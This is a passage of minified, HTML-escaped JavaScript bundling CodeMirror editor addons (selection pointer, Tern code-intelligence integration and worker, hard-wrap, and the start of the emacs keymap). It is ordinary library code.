b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b){var c=a.state.selectionPointer;(null==b.buttons?b.which:b.buttons)?c.mouseX=c.mouseY=null:(c.mouseX=b.clientX,c.mouseY=b.clientY),e(a)}function c(a,b){if(!a.getWrapperElement().contains(b.relatedTarget)){var c=a.state.selectionPointer;c.mouseX=c.mouseY=null,e(a)}}function d(a){a.state.selectionPointer.rects=null,e(a)}function e(a){a.state.selectionPointer.willUpdate||(a.state.selectionPointer.willUpdate=!0,setTimeout(function(){f(a),a.state.selectionPointer.willUpdate=!1},50))}function f(a){var b=a.state.selectionPointer;if(b){if(null==b.rects&amp;&amp;null!=b.mouseX&amp;&amp;(b.rects=[],a.somethingSelected()))for(var c=a.display.selectionDiv.firstChild;c;c=c.nextSibling)b.rects.push(c.getBoundingClientRect());var d=!1;if(null!=b.mouseX)for(var e=0;e&lt;b.rects.length;e++){var f=b.rects[e];f.left&lt;=b.mouseX&amp;&amp;f.right&gt;=b.mouseX&amp;&amp;f.top&lt;=b.mouseY&amp;&amp;f.bottom&gt;=b.mouseY&amp;&amp;(d=!0)}var g=d?b.value:&quot;&quot;;a.display.lineDiv.style.cursor!=g&amp;&amp;(a.display.lineDiv.style.cursor=g)}}a.defineOption(&quot;selectionPointer&quot;,!1,function(e,f){var g=e.state.selectionPointer;g&amp;&amp;(a.off(e.getWrapperElement(),&quot;mousemove&quot;,g.mousemove),a.off(e.getWrapperElement(),&quot;mouseout&quot;,g.mouseout),a.off(window,&quot;scroll&quot;,g.windowScroll),e.off(&quot;cursorActivity&quot;,d),e.off(&quot;scroll&quot;,d),e.state.selectionPointer=null,e.display.lineDiv.style.cursor=&quot;&quot;),f&amp;&amp;(g=e.state.selectionPointer={value:&quot;string&quot;==typeof f?f:&quot;default&quot;,mousemove:function(a){b(e,a)},mouseout:function(a){c(e,a)},windowScroll:function(){d(e)},rects:null,mouseX:null,mouseY:null,willUpdate:!1},a.on(e.getWrapperElement(),&quot;mousemove&quot;,g.mousemove),a.on(e.getWrapperElement(),&quot;mouseout&quot;,g.mouseout),a.on(window,&quot;scroll&quot;,g.windowScroll),e.on(&quot;cursorActivity&quot;,d),e.on(&quot;scroll&quot;,d))})})},{&quot;../../lib/codemirror&quot;:59}],53:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b,c){var d=a.docs[b];d?c(F(a,d)):a.options.getFile?a.options.getFile(b,c):c(null)}function c(a,b,c){for(var d in a.docs){var e=a.docs[d];if(e.doc==b)return e}if(!c)for(var f=0;;++f)if(d=&quot;[doc&quot;+(f||&quot;&quot;)+&quot;]&quot;,!a.docs[d]){c=d;break}return a.addDoc(c,b)}function d(b,d){return&quot;string&quot;==typeof d?b.docs[d]:(d instanceof a&amp;&amp;(d=d.getDoc()),d instanceof a.Doc?c(b,d):void 0)}function e(a,b,d){var e=c(a,b),g=a.cachedArgHints;g&amp;&amp;g.doc==b&amp;&amp;L(g.start,d.to)&gt;=0&amp;&amp;(a.cachedArgHints=null);var h=e.changed;null==h&amp;&amp;(e.changed=h={from:d.from.line,to:d.from.line});var i=d.from.line+(d.text.length-1);d.from.line&lt;h.to&amp;&amp;(h.to=h.to-(d.to.line-i)),i&gt;=h.to&amp;&amp;(h.to=i+1),h.from&gt;d.from.line&amp;&amp;(h.from=d.from.line),b.lineCount()&gt;J&amp;&amp;d.to-h.from&gt;100&amp;&amp;setTimeout(function(){e.changed&amp;&amp;e.changed.to-e.changed.from&gt;100&amp;&amp;f(a,e)},200)}function f(a,b){a.server.request({files:[{type:&quot;full&quot;,name:b.name,text:F(a,b)}]},function(a){a?window.console.error(a):b.changed=null})}function g(b,c,d){b.request(c,{type:&quot;completions&quot;,types:!0,docs:!0,urls:!0},function(e,f){if(e)return D(b,c,e);var g=[],i=&quot;&quot;,j=f.start,k=f.end;&#039;[&quot;&#039;==c.getRange(H(j.line,j.ch-2),j)&amp;&amp;&#039;&quot;]&#039;!=c.getRange(k,H(k.line,k.ch+2))&amp;&amp;(i=&#039;&quot;]&#039;);for(var l=0;l&lt;f.completions.length;++l){var m=f.completions[l],n=h(m.type);f.guess&amp;&amp;(n+=&quot; &quot;+I+&quot;guess&quot;),g.push({text:m.name+i,displayText:m.displayName||m.name,className:n,data:m})}var o={from:j,to:k,list:g},p=null;a.on(o,&quot;close&quot;,function(){B(p)}),a.on(o,&quot;update&quot;,function(){B(p)}),a.on(o,&quot;select&quot;,function(a,c){B(p);var d=b.options.completionTip?b.options.completionTip(a.data):a.data.doc;d&amp;&amp;(p=A(c.parentNode.getBoundingClientRect().right+window.pageXOffset,c.getBoundingClientRect().top+window.pageYOffset,d),p.className+=&quot; &quot;+I+&quot;hint-doc&quot;)}),d(o)})}function h(a){var b;return b=&quot;?&quot;==a?&quot;unknown&quot;:&quot;number&quot;==a||&quot;string&quot;==a||&quot;bool&quot;==a?a:/^fn\(/.test(a)?&quot;fn&quot;:/^\[/.test(a)?&quot;array&quot;:&quot;object&quot;,I+&quot;completion &quot;+I+&quot;completion-&quot;+b}function i(a,b,c,d,e){a.request(b,d,function(c,d){if(c)return D(a,b,c);if(a.options.typeTip)var f=a.options.typeTip(d);else{var f=w(&quot;span&quot;,null,w(&quot;strong&quot;,null,d.type||&quot;not found&quot;));if(d.doc&amp;&amp;f.appendChild(document.createTextNode(&quot; \u2014 &quot;+d.doc)),d.url){f.appendChild(document.createTextNode(&quot; &quot;));var g=f.appendChild(w(&quot;a&quot;,null,&quot;[docs]&quot;));g.href=d.url,g.target=&quot;_blank&quot;}}y(b,f,a),e&amp;&amp;e()},c)}function j(b,c){if(E(b),!c.somethingSelected()){var d=c.getTokenAt(c.getCursor()).state,e=a.innerMode(c.getMode(),d);if(&quot;javascript&quot;==e.mode.name){var f=e.state.lexical;if(&quot;call&quot;==f.info){for(var g,h=f.pos||0,i=c.getOption(&quot;tabSize&quot;),j=c.getCursor().line,m=Math.max(0,j-9),n=!1;j&gt;=m;--j){for(var o=c.getLine(j),p=0,q=0;;){var r=o.indexOf(&quot;\t&quot;,q);if(r==-1)break;p+=i-(r+p)%i-1,q=r+1}if(g=f.column-p,&quot;(&quot;==o.charAt(g)){n=!0;break}}if(n){var s=H(j,g),t=b.cachedArgHints;return t&amp;&amp;t.doc==c.getDoc()&amp;&amp;0==L(s,t.start)?k(b,c,h):void b.request(c,{type:&quot;type&quot;,preferFunction:!0,end:s},function(a,d){!a&amp;&amp;d.type&amp;&amp;/^fn\(/.test(d.type)&amp;&amp;(b.cachedArgHints={start:s,type:l(d.type),name:d.exprName||d.name||&quot;fn&quot;,guess:d.guess,doc:c.getDoc()},k(b,c,h))})}}}}}function k(a,b,c){E(a);for(var d=a.cachedArgHints,e=d.type,f=w(&quot;span&quot;,d.guess?I+&quot;fhint-guess&quot;:null,w(&quot;span&quot;,I+&quot;fname&quot;,d.name),&quot;(&quot;),g=0;g&lt;e.args.length;++g){g&amp;&amp;f.appendChild(document.createTextNode(&quot;, &quot;));var h=e.args[g];f.appendChild(w(&quot;span&quot;,I+&quot;farg&quot;+(g==c?&quot; &quot;+I+&quot;farg-current&quot;:&quot;&quot;),h.name||&quot;?&quot;)),&quot;?&quot;!=h.type&amp;&amp;(f.appendChild(document.createTextNode(&quot;:\xa0&quot;)),f.appendChild(w(&quot;span&quot;,I+&quot;type&quot;,h.type)))}f.appendChild(document.createTextNode(e.rettype?&quot;) -&gt;\xa0&quot;:&quot;)&quot;)),e.rettype&amp;&amp;f.appendChild(w(&quot;span&quot;,I+&quot;type&quot;,e.rettype));var i=b.cursorCoords(null,&quot;page&quot;),j=a.activeArgHints=A(i.right+1,i.bottom,f);setTimeout(function(){j.clear=z(b,function(){a.activeArgHints==j&amp;&amp;E(a)})},20)}function l(a){function b(b){for(var c=0,e=d;;){var f=a.charAt(d);if(b.test(f)&amp;&amp;!c)return a.slice(e,d);/[{\[\(]/.test(f)?++c:/[}\]\)]/.test(f)&amp;&amp;--c,++d}}var c=[],d=3;if(&quot;)&quot;!=a.charAt(d))for(;;){var e=a.slice(d).match(/^([^, \(\[\{]+): /);if(e&amp;&amp;(d+=e[0].length,e=e[1]),c.push({name:e,type:b(/[\),]/)}),&quot;)&quot;==a.charAt(d))break;d+=2}var f=a.slice(d).match(/^\) -&gt; (.*)$/);return{args:c,rettype:f&amp;&amp;f[1]}}function m(a,b){function d(d){var e={type:&quot;definition&quot;,variable:d||null},f=c(a,b.getDoc());a.server.request(u(a,f,e),function(c,d){if(c)return D(a,b,c);if(!d.file&amp;&amp;d.url)return void window.open(d.url);if(d.file){var e,g=a.docs[d.file];if(g&amp;&amp;(e=p(g.doc,d)))return a.jumpStack.push({file:f.name,start:b.getCursor(&quot;from&quot;),end:b.getCursor(&quot;to&quot;)}),void o(a,f,g,e.start,e.end)}D(a,b,&quot;Could not find a definition.&quot;)})}q(b)?d():x(b,&quot;Jump to variable&quot;,function(a){a&amp;&amp;d(a)})}function n(a,b){var d=a.jumpStack.pop(),e=d&amp;&amp;a.docs[d.file];e&amp;&amp;o(a,c(a,b.getDoc()),e,d.start,d.end)}function o(a,b,c,d,e){c.doc.setSelection(d,e),b!=c&amp;&amp;a.options.switchToDoc&amp;&amp;(E(a),a.options.switchToDoc(c.name,c.doc))}function p(a,b){for(var c=b.context.slice(0,b.contextOffset).split(&quot;\n&quot;),d=b.start.line-(c.length-1),e=H(d,(1==c.length?b.start.ch:a.getLine(d).length)-c[0].length),f=a.getLine(d).slice(e.ch),g=d+1;g&lt;a.lineCount()&amp;&amp;f.length&lt;b.context.length;++g)f+=&quot;\n&quot;+a.getLine(g);if(f.slice(0,b.context.length)==b.context)return b;for(var h,i=a.getSearchCursor(b.context,0,!1),j=1/0;i.findNext();){var k=i.from(),l=1e4*Math.abs(k.line-e.line);l||(l=Math.abs(k.ch-e.ch)),l&lt;j&amp;&amp;(h=k,j=l)}if(!h)return null;if(1==c.length?h.ch+=c[0].length:h=H(h.line+(c.length-1),c[c.length-1].length),b.start.line==b.end.line)var m=H(h.line,h.ch+(b.end.ch-b.start.ch));else var m=H(h.line+(b.end.line-b.start.line),b.end.ch);return{start:h,end:m}}function q(a){var b=a.getCursor(&quot;end&quot;),c=a.getTokenAt(b);return!(c.start&lt;b.ch&amp;&amp;&quot;comment&quot;==c.type)&amp;&amp;/[\w)\]]/.test(a.getLine(b.line).slice(Math.max(b.ch-1,0),b.ch+1))}function r(a,b){var c=b.getTokenAt(b.getCursor());return/\w/.test(c.string)?void x(b,&quot;New name for &quot;+c.string,function(c){a.request(b,{type:&quot;rename&quot;,newName:c,fullDocs:!0},function(c,d){return c?D(a,b,c):void t(a,d.changes)})}):D(a,b,&quot;Not at a variable&quot;)}function s(a,b){var d=c(a,b.doc).name;a.request(b,{type:&quot;refs&quot;},function(c,e){if(c)return D(a,b,c);for(var f=[],g=0,h=b.getCursor(),i=0;i&lt;e.refs.length;i++){var j=e.refs[i];j.file==d&amp;&amp;(f.push({anchor:j.start,head:j.end}),L(h,j.start)&gt;=0&amp;&amp;L(h,j.end)&lt;=0&amp;&amp;(g=f.length-1))}b.setSelections(f,g)})}function t(a,b){for(var c=Object.create(null),d=0;d&lt;b.length;++d){var e=b[d];(c[e.file]||(c[e.file]=[])).push(e)}for(var f in c){var g=a.docs[f],h=c[f];if(g){h.sort(function(a,b){return L(b.start,a.start)});for(var i=&quot;*rename&quot;+ ++K,d=0;d&lt;h.length;++d){var e=h[d];g.doc.replaceRange(e.text,e.start,e.end,i)}}}}function u(a,b,c,d){var e=[],f=0,g=!c.fullDocs;g||delete c.fullDocs,&quot;string&quot;==typeof c&amp;&amp;(c={type:c}),c.lineCharPositions=!0,null==c.end&amp;&amp;(c.end=d||b.doc.getCursor(&quot;end&quot;),b.doc.somethingSelected()&amp;&amp;(c.start=b.doc.getCursor(&quot;start&quot;)));var h=c.start||c.end;if(b.changed)if(b.doc.lineCount()&gt;J&amp;&amp;g!==!1&amp;&amp;b.changed.to-b.changed.from&lt;100&amp;&amp;b.changed.from&lt;=h.line&amp;&amp;b.changed.to&gt;c.end.line){e.push(v(b,h,c.end)),c.file=&quot;#0&quot;;var f=e[0].offsetLines;null!=c.start&amp;&amp;(c.start=H(c.start.line- -f,c.start.ch)),c.end=H(c.end.line-f,c.end.ch)}else e.push({type:&quot;full&quot;,name:b.name,text:F(a,b)}),c.file=b.name,b.changed=null;else c.file=b.name;for(var i in a.docs){var j=a.docs[i];j.changed&amp;&amp;j!=b&amp;&amp;(e.push({type:&quot;full&quot;,name:j.name,text:F(a,j)}),j.changed=null)}return{query:c,files:e}}function v(b,c,d){for(var e,f=b.doc,g=null,h=null,i=4,j=c.line-1,k=Math.max(0,j-50);j&gt;=k;--j){var l=f.getLine(j),m=l.search(/\bfunction\b/);if(!(m&lt;0)){var n=a.countColumn(l,null,i);null!=g&amp;&amp;g&lt;=n||(g=n,h=j)}}null==h&amp;&amp;(h=k);var o=Math.min(f.lastLine(),d.line+20);if(null==g||g==a.countColumn(f.getLine(c.line),null,i))e=o;else for(e=d.line+1;e&lt;o;++e){var n=a.countColumn(f.getLine(e),null,i);if(n&lt;=g)break}var p=H(h,0);return{type:&quot;part&quot;,name:b.name,offsetLines:p.line,text:f.getRange(p,H(e,0))}}function w(a,b){var c=document.createElement(a);b&amp;&amp;(c.className=b);for(var d=2;d&lt;arguments.length;++d){var e=arguments[d];&quot;string&quot;==typeof e&amp;&amp;(e=document.createTextNode(e)),c.appendChild(e)}return c}function x(a,b,c){a.openDialog?a.openDialog(b+&quot;: &lt;input type=text&gt;&quot;,c):c(prompt(b,&quot;&quot;))}function y(b,c,d){function e(){j=!0,i||f()}function f(){b.state.ternTooltip=null,h.parentNode&amp;&amp;C(h),k()}b.state.ternTooltip&amp;&amp;B(b.state.ternTooltip);var g=b.cursorCoords(),h=b.state.ternTooltip=A(g.right+1,g.bottom,c),i=!1,j=!1;a.on(h,&quot;mousemove&quot;,function(){i=!0}),a.on(h,&quot;mouseout&quot;,function(b){a.contains(h,b.relatedTarget||b.toElement)||(j?f():i=!1)}),setTimeout(e,d.options.hintDelay?d.options.hintDelay:1700);var k=z(b,f)}function z(a,b){return a.on(&quot;cursorActivity&quot;,b),a.on(&quot;blur&quot;,b),a.on(&quot;scroll&quot;,b),a.on(&quot;setDoc&quot;,b),function(){a.off(&quot;cursorActivity&quot;,b),a.off(&quot;blur&quot;,b),a.off(&quot;scroll&quot;,b),a.off(&quot;setDoc&quot;,b)}}function A(a,b,c){var d=w(&quot;div&quot;,I+&quot;tooltip&quot;,c);return d.style.left=a+&quot;px&quot;,d.style.top=b+&quot;px&quot;,document.body.appendChild(d),d}function B(a){var b=a&amp;&amp;a.parentNode;b&amp;&amp;b.removeChild(a)}function C(a){a.style.opacity=&quot;0&quot;,setTimeout(function(){B(a)},1100)}function D(a,b,c){a.options.showError?a.options.showError(b,c):y(b,String(c),a)}function E(a){a.activeArgHints&amp;&amp;(a.activeArgHints.clear&amp;&amp;a.activeArgHints.clear(),B(a.activeArgHints),a.activeArgHints=null)}function F(a,b){var c=b.doc.getValue();return a.options.fileFilter&amp;&amp;(c=a.options.fileFilter(c,b.name,b.doc)),c}function G(a){function c(a,b){b&amp;&amp;(a.id=++e,f[e]=b),d.postMessage(a)}var d=a.worker=new Worker(a.options.workerScript);d.postMessage({type:&quot;init&quot;,defs:a.options.defs,plugins:a.options.plugins,scripts:a.options.workerDeps});var e=0,f={};d.onmessage=function(d){var e=d.data;&quot;getFile&quot;==e.type?b(a,e.name,function(a,b){c({type:&quot;getFile&quot;,err:String(a),text:b,id:e.id})}):&quot;debug&quot;==e.type?window.console.log(e.message):e.id&amp;&amp;f[e.id]&amp;&amp;(f[e.id](e.err,e.body),delete f[e.id])},d.onerror=function(a){for(var b in f)f[b](a);f={}},this.addFile=function(a,b){c({type:&quot;add&quot;,name:a,text:b})},this.delFile=function(a){c({type:&quot;del&quot;,name:a})},this.request=function(a,b){c({type:&quot;req&quot;,body:a},b)}}a.TernServer=function(a){var c=this;this.options=a||{};var d=this.options.plugins||(this.options.plugins={});d.doc_comment||(d.doc_comment=!0),this.docs=Object.create(null),this.options.useWorker?this.server=new G(this):this.server=new tern.Server({getFile:function(a,d){return b(c,a,d)},async:!0,defs:this.options.defs||[],plugins:d}),this.trackChange=function(a,b){e(c,a,b)},this.cachedArgHints=null,this.activeArgHints=null,this.jumpStack=[],this.getHint=function(a,b){return g(c,a,b)},this.getHint.async=!0},a.TernServer.prototype={addDoc:function(b,c){var d={doc:c,name:b,changed:null};return this.server.addFile(b,F(this,d)),a.on(c,&quot;change&quot;,this.trackChange),this.docs[b]=d},delDoc:function(b){var c=d(this,b);c&amp;&amp;(a.off(c.doc,&quot;change&quot;,this.trackChange),delete this.docs[c.name],this.server.delFile(c.name))},hideDoc:function(a){E(this);var b=d(this,a);b&amp;&amp;b.changed&amp;&amp;f(this,b)},complete:function(a){a.showHint({hint:this.getHint})},showType:function(a,b,c){i(this,a,b,&quot;type&quot;,c)},showDocs:function(a,b,c){i(this,a,b,&quot;documentation&quot;,c)},updateArgHints:function(a){j(this,a)},jumpToDef:function(a){m(this,a)},jumpBack:function(a){n(this,a)},rename:function(a){r(this,a)},selectName:function(a){s(this,a)},request:function(a,b,d,e){var f=this,g=c(this,a.getDoc()),h=u(this,g,b,e),i=h.query&amp;&amp;this.options.queryOptions&amp;&amp;this.options.queryOptions[h.query.type];if(i)for(var j in i)h.query[j]=i[j];this.server.request(h,function(a,c){!a&amp;&amp;f.options.responseFilter&amp;&amp;(c=f.options.responseFilter(g,b,h,a,c)),d(a,c)})},destroy:function(){E(this),this.worker&amp;&amp;(this.worker.terminate(),this.worker=null)}};var H=a.Pos,I=&quot;CodeMirror-Tern-&quot;,J=250,K=0,L=a.cmpPos})},{&quot;../../lib/codemirror&quot;:59}],54:[function(a,b,c){function d(a,b){postMessage({type:&quot;getFile&quot;,name:a,id:++g}),h[g]=b}function e(a,b,c){c&amp;&amp;importScripts.apply(null,c),f=new tern.Server({getFile:d,async:!0,defs:a,plugins:b})}var f;this.onmessage=function(a){var b=a.data;switch(b.type){case&quot;init&quot;:return e(b.defs,b.plugins,b.scripts);case&quot;add&quot;:return f.addFile(b.name,b.text);case&quot;del&quot;:return f.delFile(b.name);case&quot;req&quot;:return f.request(b.body,function(a,c){postMessage({id:b.id,body:c,err:a&amp;&amp;String(a)})});case&quot;getFile&quot;:var c=h[b.id];return delete h[b.id],c(b.err,b.text);default:throw new Error(&quot;Unknown message type: &quot;+b.type)}};var g=0,h={};this.console={log:function(a){postMessage({type:&quot;debug&quot;,message:a})}}},{}],55:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b,c){for(var d=c.paragraphStart||a.getHelper(b,&quot;paragraphStart&quot;),e=b.line,f=a.firstLine();e&gt;f;--e){var g=a.getLine(e);if(d&amp;&amp;d.test(g))break;if(!/\S/.test(g)){++e;break}}for(var h=c.paragraphEnd||a.getHelper(b,&quot;paragraphEnd&quot;),i=b.line+1,j=a.lastLine();i&lt;=j;++i){var g=a.getLine(i);if(h&amp;&amp;h.test(g)){++i;break}if(!/\S/.test(g))break}return{from:e,to:i}}function c(a,b,c,d){for(var e=b;e&lt;a.length&amp;&amp;&quot; &quot;==a.charAt(e);)e++;for(;e&gt;0&amp;&amp;!c.test(a.slice(e-1,e+1));--e);for(var f=!0;;f=!1){var g=e;if(d)for(;&quot; &quot;==a.charAt(g-1);)--g;if(0!=g||!f)return{from:g,to:e};e=b}}function d(b,d,f,g){d=b.clipPos(d),f=b.clipPos(f);var h=g.column||80,i=g.wrapOn||/\s\S|-[^\.\d]/,j=g.killTrailingSpace!==!1,k=[],l=&quot;&quot;,m=d.line,n=b.getRange(d,f,!1);if(!n.length)return null;for(var o=n[0].match(/^[ \t]*/)[0],p=0;p&lt;n.length;++p){var q=n[p],r=l.length,s=0;l&amp;&amp;q&amp;&amp;!i.test(l.charAt(l.length-1)+q.charAt(0))&amp;&amp;(l+=&quot; &quot;,s=1);var t=&quot;&quot;;if(p&amp;&amp;(t=q.match(/^\s*/)[0],q=q.slice(t.length)),l+=q,p){var u=l.length&gt;h&amp;&amp;o==t&amp;&amp;c(l,h,i,j);u&amp;&amp;u.from==r&amp;&amp;u.to==r+s?(l=o+q,++m):k.push({text:[s?&quot; &quot;:&quot;&quot;],from:e(m,r),to:e(m+1,t.length)})}for(;l.length&gt;h;){var v=c(l,h,i,j);k.push({text:[&quot;&quot;,o],from:e(m,v.from),to:e(m,v.to)}),l=o+l.slice(v.to),++m}}return k.length&amp;&amp;b.operation(function(){for(var c=0;c&lt;k.length;++c){var d=k[c];(d.text||a.cmpPos(d.from,d.to))&amp;&amp;b.replaceRange(d.text,d.from,d.to)}}),k.length?{from:k[0].from,to:a.changeEnd(k[k.length-1])}:null}var e=a.Pos;a.defineExtension(&quot;wrapParagraph&quot;,function(a,c){c=c||{},a||(a=this.getCursor());var f=b(this,a,c);return d(this,e(f.from,0),e(f.to-1),c)}),a.commands.wrapLines=function(a){a.operation(function(){for(var c=a.listSelections(),f=a.lastLine()+1,g=c.length-1;g&gt;=0;g--){var h,i=c[g];if(i.empty()){var j=b(a,i.head,{});h={from:e(j.from,0),to:e(j.to-1)}}else h={from:i.from(),to:i.to()};h.to.line&gt;=f||(f=h.from.line,d(a,h.from,h.to,{}))}})},a.defineExtension(&quot;wrapRange&quot;,function(a,b,c){return d(this,a,b,c||{})}),a.defineExtension(&quot;wrapParagraphsInRange&quot;,function(a,c,f){f=f||{};for(var g=this,h=[],i=a.line;i&lt;=c.line;){var j=b(g,e(i,0),f);h.push(j),i=j.to}var k=!1;return h.length&amp;&amp;g.operation(function(){for(var a=h.length-1;a&gt;=0;--a)k=k||d(g,e(h[a].from,0),e(h[a].to-1),f)}),k})})},{&quot;../../lib/codemirror&quot;:59}],56:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b){return a.line==b.line&amp;&amp;a.ch==b.ch}function c(a){I.push(a),I.length&gt;50&amp;&amp;I.shift()}function d(a){return I.length?void(I[I.length-1]+=a):c(a)}function e(a){return I[I.length-(a?Math.min(a,1):1)]||&quot;&quot;}function f(){return I.length&gt;1&amp;&amp;I.pop(),e()}function g(a,e,f,g,h){null==h&amp;&amp;(h=a.getRange(e,f)),g&amp;&amp;J&amp;&amp;J.cm==a&amp;&amp;b(e,J.pos)&amp;&amp;a.isClean(J.gen)?d(h):c(h),a.replaceRange(&quot;&quot;,e,f,&quot;+delete&quot;),J=g?{cm:a,pos:e,gen:a.changeGeneration()}:null}function h(a,b,c){return a.findPosH(b,c,&quot;char&quot;,!0)}function i(a,b,c){return a.findPosH(b,c,&quot;word&quot;,!0)}function j(a,b,c){return a.findPosV(b,c,&quot;line&quot;,a.doc.sel.goalColumn)}function k(a,b,c){return a.findPosV(b,c,&quot;page&quot;,a.doc.sel.goalColumn)}function l(a,b,c){for(var d=b.line,e=a.getLine(d),f=/\S/.test(c&lt;0?e.slice(0,b.ch):e.slice(b.ch)),g=a.firstLine(),h=a.lastLine();;){if(d+=c,d&lt;g||d&gt;h)return a.clipPos(H(d-c,c&lt;0?0:null));e=a.getLine(d);var i=/\S/.test(e);if(i)f=!0;else if(f)return H(d,0)}}function m(a,b,c){for(var d=b.line,e=b.ch,f=a.getLine(b.line),g=!1;;){var h=f.charAt(e+(c&lt;0?-1:0));if(h){if(g&amp;&amp;/[!?.]/.test(h))return H(d,e+(c&gt;0?1:0));g||(g=/\w/.test(h)),e+=c}else{if(d==(c&lt;0?a.firstLine():a.lastLine()))return H(d,e);if(f=a.getLine(d+c),!/\S/.test(f))return H(d,e);d+=c,e=c&lt;0?f.length:0}}}function n(a,c,d){var e;if(a.findMatchingBracket&amp;&amp;(e=a.findMatchingBracket(c,{strict:!0}))&amp;&amp;e.match&amp;&amp;(e.forward?1:-1)==d)return d&gt;0?H(e.to.line,e.to.ch+1):e.to;for(var f=!0;;f=!1){var g=a.getTokenAt(c),h=H(c.line,d&lt;0?g.start:g.end);if(!(f&amp;&amp;d&gt;0&amp;&amp;g.end==c.ch)&amp;&amp;/\w/.test(g.string))return h;var i=a.findPosH(h,d,&quot;char&quot;);if(b(h,i))return c;c=i}}function o(a,b){var c=a.state.emacsPrefix;return c?(w(a),&quot;-&quot;==c?-1:Number(c)):b?null:1}function p(a){var b=&quot;string&quot;==typeof a?function(b){b.execCommand(a)}:a;return function(a){var c=o(a);b(a);for(var d=1;d&lt;c;++d)b(a)}}function q(a,c,d,e){var f=o(a);f&lt;0&amp;&amp;(e=-e,f=-f);for(var g=0;g&lt;f;++g){var h=d(a,c,e);if(b(h,c))break;c=h}return c}function r(a,b){var c=function(c){c.extendSelection(q(c,c.getCursor(),a,b))};return c.motion=!0,c}function s(a,b,c){for(var d,e=a.listSelections(),f=e.length;f--;)d=e[f].head,g(a,d,q(a,d,b,c),!0)}function t(a){if(a.somethingSelected()){for(var b,c=a.listSelections(),d=c.length;d--;)b=c[d],g(a,b.anchor,b.head);return!0}}function u(a,b){return a.state.emacsPrefix?void(&quot;-&quot;!=b&amp;&amp;(a.state.emacsPrefix+=b)):(a.state.emacsPrefix=b,a.on(&quot;keyHandled&quot;,v),void a.on(&quot;inputRead&quot;,x))}function v(a,b){a.state.emacsPrefixMap||K.hasOwnProperty(b)||w(a)}function w(a){a.state.emacsPrefix=null,a.off(&quot;keyHandled&quot;,v),a.off(&quot;inputRead&quot;,x)}function x(a,b){var c=o(a);if(c&gt;1&amp;&amp;&quot;+input&quot;==b.origin){for(var d=b.text.join(&quot;\n&quot;),e=&quot;&quot;,f=1;f&lt;c;++f)e+=d;a.replaceSelection(e)}}function y(a){a.state.emacsPrefixMap=!0,a.addKeyMap(M),a.on(&quot;keyHandled&quot;,z),a.on(&quot;inputRead&quot;,z)}function z(a,b){(&quot;string&quot;!=typeof b||!/^\d$/.test(b)&amp;&amp;&quot;Ctrl-U&quot;!=b)&amp;&amp;(a.removeKeyMap(M),a.state.emacsPrefixMap=!1,a.off(&quot;keyHandled&quot;,z),a.off(&quot;inputRead&quot;,z))}function A(a){a.setCursor(a.getCursor()),a.setExtending(!a.getExtending()),a.on(&quot;change&quot;,function(){a.setExtending(!1)})}function B(a){a.setExtending(!1),a.setCursor(a.getCursor())}function C(a,b,c){a.openDialog?a.openDialog(b+&#039;: &lt;input type=&quot;text&quot; style=&quot;width: 10em&quot;/&gt;&#039;,c,{bottom:!0}):c(prompt(b,&quot;&quot;))}function D(a,b){var c=a.getCursor(),d=a.findPosH(c,1,&quot;word&quot;);a.replaceRange(b(a.getRange(c,d)),c,d),a.setCursor(d)}function E(a){for(var b=a.getCursor(),c=b.line,d=b.ch,e=[];c&gt;=a.firstLine();){for(var f=a.getLine(c),g=null==d?f.length:d;g&gt;0;){var d=f.charAt(--g);if(&quot;)&quot;==d)e.push(&quot;(&quot;);else if(&quot;]&quot;==d)e.push(&quot;[&quot;);else if(&quot;}&quot;==d)e.push(&quot;{&quot;);else if(/[\(\{\[]/.test(d)&amp;&amp;(!e.length||e.pop()!=d))return a.extendSelection(H(c,g))}--c,d=null}}function F(a){a.execCommand(&quot;clearSearch&quot;),B(a)}function G(a){M[a]=function(b){u(b,a)},L[&quot;Ctrl-&quot;+a]=function(b){u(b,a)},K[&quot;Ctrl-&quot;+a]=!0}var H=a.Pos,I=[],J=null,K={&quot;Alt-G&quot;:!0,&quot;Ctrl-X&quot;:!0,&quot;Ctrl-Q&quot;:!0,&quot;Ctrl-U&quot;:!0};a.emacs={kill:g,killRegion:t,repeated:p};for(var L=a.keyMap.emacs=a.normalizeKeyMap({&quot;Ctrl-W&quot;:function(a){g(a,a.getCursor(&quot;start&quot;),a.getCursor(&quot;end&quot;))},&quot;Ctrl-K&quot;:p(function(a){var b=a.getCursor(),c=a.clipPos(H(b.line)),d=a.getRange(b,c);/\S/.test(d)||(d+=&quot;\n&quot;,c=H(b.line+1,0)),g(a,b,c,!0,d)}),&quot;Alt-W&quot;:function(a){c(a.getSelection()),B(a)},&quot;Ctrl-Y&quot;:function(a){var 